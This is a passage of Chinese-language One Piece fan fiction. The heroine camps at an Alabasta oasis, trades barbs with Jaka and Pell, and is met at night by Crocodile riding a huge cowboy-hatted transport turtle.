白袍青年的声音带着十分的不解,投向黛可妮斯的眼神也警惕起来,直到一旁面带尴尬的随从拉过他,小声解释了加卡和对方的恩怨后,白袍青年这才轻笑两声,又坐了回去。
加卡瞪他:“你笑什么?”
“只是没想到加卡队长,你过去的职业生涯如此多彩。”
他没忍住又笑了一下。
加卡感到脸上好似被烈日灼伤了一般,扭过头去再看向黛可妮斯一行人,才发现对方已经扎完了帐篷,准备休息了。
自己被无视的很彻底,他觉得脸上更烧了。
“只是一些误会罢了,”白袍青年的笑容很和煦,“看他们的样子,大概还会和我们同行一阵,不如就借此机会消除误会吧。”
“你不明白。”
加卡咬着后槽牙坐下来:“那女人完全就是个能令清泉瞬间枯竭的恶魔。”
佩鲁大笑:“你太夸张了,不要在背后议论女士啊,加卡队长。”
话是这么说,那名女性却给佩鲁一种怪异的感觉。
那种眼神,不像是普通的餐厅服务生。
另一边,黛可妮斯简单洗漱了一下,和大家互道晚安后便钻入了帐篷。
帐篷顶上开着一个方形的小口,平时可以用布蒙上,但是今晚黛可妮斯将布掀开,以便仰望头顶的星空。
很久没有在坚实的陆地上迎接夜幕了,仿佛那深蓝色幕布上的明星也耀眼了一些。
黛可妮斯双手交叉垫在脑后,身体其实已经很疲惫了,精神上却仍旧活跃不止。
太阳落山后气温降得很快,她裹紧了毯子,一双眼睛还是恋恋不舍地睁着,望着头顶的夜空,试图辨认其上的星座。
她突然想起了房间书桌上的那盆仙人球,虽然不明白克洛克达尔为什么要送她一颗仙人球,但至少出门一个月,无人浇水也不会令其干枯,这一点倒是很让人安心。
只是不知道,会不会错过仙人球的花朵绽放。
帐篷外似乎起风了,夜色也已深,黛可妮斯打了个呵欠,刚酝酿出一点睡意,就感受到地面似乎隐约传来了震动。
那震动越来越近,越来越明显,最后她听到了那巨物狂奔的声音,像是象群正在狂奔。
心脏不由得狂跳起来,黛可妮斯一个打滚爬出帐篷,却见不远处尘土飞扬中,有一个足有房屋大小的影子正在接近这片绿洲。
正想叫醒大家,同伴们便一个接一个地钻出了帐篷,揉着眼睛张望四周,就在这会儿功夫,那巨影已经近在眼前,停下了。
是一只巨大的龟,是阿拉巴斯坦这边富贵人家会饲养的水陆两用接送龟,而这只的体型又比黛可妮斯见过的所有接送龟还要大得多。
更别说这只龟脑袋上还带着个牛仔帽,嘴角甚至还——叼着烟。
然后接送龟身后拉着的车厢门就打开了。
黛可妮斯和里面那个叼着雪茄的家伙大眼瞪小眼。
克洛克达尔这家伙……
怎么不早说他有一只这么帅的巨龟啊!